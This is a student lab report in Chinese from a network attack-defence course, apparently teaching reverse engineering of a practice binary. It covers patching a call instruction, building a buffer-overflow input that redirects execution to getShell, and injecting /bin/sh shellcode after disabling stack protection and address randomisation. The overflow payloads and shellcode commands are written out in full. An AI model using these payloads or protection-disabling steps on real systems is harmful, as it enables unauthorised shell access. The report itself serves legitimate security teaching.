2020-2021-2 20175221曾祥杰 《网络对抗技术》Exp1 PC平台逆向破解
Exp1 PC平台逆向破解
目录
- 基础知识
- 实验内容
- 直接修改程序机器指令,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 实验步骤及结果
- 问题及解决方案
- 心得体会与思考
基础知识:
NOP
:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)JE
:条件转移指令,如果相等则跳转。(机器码:74)JNE
:条件转移指令,如果不相等则跳转。(机器码:75)JMP
:无条件转移指令。CMP
:相当于减法指令,对操作数之间运算比较,不保存结果。objdump:
反汇编指令机器码。perl -e
:后面跟字符串,表示在命令行要执行的命令。ps -ef
:显示所有进程的UID,PPIP,C与STIME栏位。|
:管道,将前者的输出作为后者的输入。>
:输入输出重定向符,将前者输出的内容输入到后者中。- vim16进制显示切换:
- 将显示模式切换为16进制模式:%!xxd
- 将16进制切换回ASCII码模式:%!xxd -r
1.直接修改程序机器指令,改变程序执行流程
- 首先下载 pwn1.zip ,然后 unzip pwn1 解压文件,得到 pwn1 .随后将文件备份,并命名为 20175221pwn2
- 将 pwn2 进行反汇编: objdump -d 20175221pwn2 ,得到以下代码:
- 首先观察main函数中 80484b5 部分, e8 表示 call 命令,即跳转,跳转至 foo 函数。我们的任务便是通过修改机器指令来改变其执行函数的顺序。
- 目标是 getShell 函数,观察到getShell函数的地址 0804847d ,与 foo函数地址 08048491 差值为(十六进制):14
- call 汇编指令机器码中的 “d7 ff ff ff” 这四个字节为数值部分,代表指令跳转时需要与“eip”寄存器相加的偏移量
- 故我们要想将跳转的目标从 foo 函数变成 getShell 函数,就需将字节部分的 d7 减去偏移量14,修改为 c3
- 随后是修改的步骤:
- vi 20175221pwn2 进入命令模式
- 输入 :%!xxd 将文件以十六进制显示
- 在底行输入 /e8 d7 (中间空格)查找对应处
- i 进入插入模式,将d7修改为c3。完毕后 Esc
- 之后 :%!xxd -r还原为原格式
- :wq 保存退出
- 再次反汇编 20175221pwn2 ,观察到 call 指令已经正确调用 getShell 函数
- 随后运行,得到Shell提示符
2.构造输入参数,造成BOF攻击,改变程序执行流程
- 首先分析代码,发现foo函数存在Buffer overflow漏洞
- foo函数中读入字符串,但系统只预留了xx字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
- call调用foo,同时在堆栈上压上返回地址值 0x80484ba
- 随后我们进入gdb模式,输入以下有规律的字符串,产生溢出
- info r 查看寄存器eip的值,可看出是输入的连续四个 5 (ASCII)的地方产生了错误
- 将原来的八个5替换为“12345678”试试,以确认是哪几个字符溢出至eip
- 观察到“34333231”,即原来输入的“1234”反向溢出至eip。至此可得出系统只预留了 32 字节的缓冲区,超出部分会造成溢出
- 故我们可先任意输入32字节字符串,再输入getShell的地址 0x0804847d 覆盖返回地址即可。根据小端的存储方式,我们在 32 字节后输入的地址应为 \x7d\x84\x04\x08
- 接下来需要生成一个包含这样字符串的文件,来构造输入值。使用 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 命令构造文件
- 使用十六进制查看指令xxd查看input文件是否符合预期
- 确认无误后用 (cat input;cat) | ./20175221pwn3 来将字符串作为可执行文件的输入
3.注入Shellcode执行
- shellcode简单来说就是一段机器指令:
- 通常这段机器指令的目的是为获取一个交互式的shell(linux的shell,windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 首先进行以下设置:
-
apt-get install execstack //安装execstack execstack -s pwn1 //关闭堆栈执行保护 execstack -q pwn1 //查询文件堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
- 准备工作完成,根据缓冲区大小写入shellcode代码:若缓冲区足够大,则将shellcode代码写入buffer;或缓冲区小,则把shellcode放在返回地址后,再将返回地址改为buffer的首地址
- 运行pwn1,随后开启另一个终端, ps -ef | grep pwn1 查看这个进程,发现进程号为3779
- gdb调试该进程,disassemble foo 反汇编foo函数,随后在 0x080484a5 处设置断点。在pwn1运行终端内敲空格,随后在gdb调试终端输入
c
继续运行。 - info r esp查看esp栈顶指针的地址, x/16x 0xffffd34c 以16进制形式查看0xffffd34c地址后面16字节的内容
- 从图中看到
01020304
所在的地址为0xffffd34c
,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即 0xffffd34c + 0x00000004 = 0xffffd350 退出gdb。 - 将老师提供的Shellcode代码修改为 perl -e 'print "A" x 32;print"\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 输入命令 (cat input_shellcode;cat) | ./pwn1
- 攻击成功!
-
遇到的问题与解决方法:
- 问题1: apt-get install execstack 下载时,遇到E:无法定位.......(忘记截图了。。)
- 问题1的解决方法:百度了一下,需要更换源。用了清华的源update就好了。
- 问题2:最后第三部分的时候,shellcode输入完运行,ls总是段错误,反复检查也不是计算或者输入的问题
- 问题2的解决方法:关闭终端,重新打开。重开大法就解决了我困扰了许久的。我也不太清楚为什么(可能是这个shellcode会重复?第二题做过了,第三题必须关掉终端重新打开才能弄新的shellcode?)
-
思考问题与体会:
-
心得体会:
- 汇编和信安原理中已经学习过指令体结构以及机器码的相关内容,但当时学习的时候并没有特别深感触,可能是因为理论知识没有实际应用,堆栈,寄存器之类还很迷糊。这次亲自实现缓冲区溢出攻击,使我对堆栈有了更深的了解,理解了堆栈是怎么被恶意代码覆盖的,覆盖后又怎么跳转,跳转后又怎么执行等等。也学会了修改机器码,以及一些额外的指令,如:perl -e、ps -ef、|等等,以后应该会经常用到。总之收获还是蛮多的。
-
什么是漏洞?漏洞有什么危害?
- 漏洞是指一个系统存在的弱点或缺陷,系统对特定威胁攻击或危险事件的敏感性,或进行攻击的威胁作用的可能性。
- 通过这次实验,我觉得缓冲区溢出漏洞是在程序设计时,没有考虑到输入超出栈分配的空间(例如这次最多28字节,输入32字节就崩了),由此被攻击者利用造成的。利用这个漏洞,攻击者可能会进入被攻击者的命令行,从而对被攻击者进行任意的操作,远程控制,监听等;或者留下后门,让相关的恶意代码,木马植入,无论哪种对个人PC都是极大的危害。